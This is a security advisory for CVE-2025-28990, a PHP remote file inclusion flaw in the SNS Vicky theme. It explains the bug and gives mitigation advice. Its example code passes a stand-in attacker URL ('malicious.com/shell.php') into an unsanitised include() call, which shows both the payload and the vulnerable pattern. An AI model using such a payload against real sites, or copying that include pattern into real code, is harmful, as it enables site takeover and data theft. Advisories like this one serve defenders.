Overview
The cybersecurity community has identified a critical vulnerability, tagged as CVE-2025-28990, affecting the popular snstheme SNS Vicky. This vulnerability, classified as a PHP Remote File Inclusion, could potentially allow attackers to include files from remote servers, leading to potential system compromise or data leakage. Given the severity and the widespread usage of the SNS Vicky, it is critical for all users and system administrators to understand the nature of this vulnerability, implement necessary mitigation strategies, and stay updated on the latest security patches.
Vulnerability Summary
CVE ID: CVE-2025-28990
Severity: Critical, CVSS Score of 8.1
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
snstheme SNS Vicky | n/a through 3.7
How the Exploit Works
The vulnerability lies in the improper control of filename for an include/require statement in the PHP program of SNS Vicky. An attacker can exploit this vulnerability by manipulating the file name in the include/require statement to reference a remotely hosted file. The PHP program then includes the remote file in its execution, potentially leading to execution of arbitrary code, unauthorized access, or information disclosure.
Conceptual Example Code
The following pseudocode illustrates a conceptual example of how the vulnerability might be exploited:
// Malicious user input
$userInput = 'http://malicious.com/shell.php';
// Vulnerable include/require statement
include($userInput);In this example, instead of specifying a local file, a URL to a malicious file is provided. The PHP program then includes this malicious file in its execution leading to unwanted consequences.
Mitigation Guidance
The best way to mitigate this vulnerability is to apply the security patch provided by the vendor. If the patch is not available or cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer a temporary mitigation. Furthermore, it is recommended to sanitize all user inputs and avoid using user input directly in include/require statements to prevent such vulnerabilities.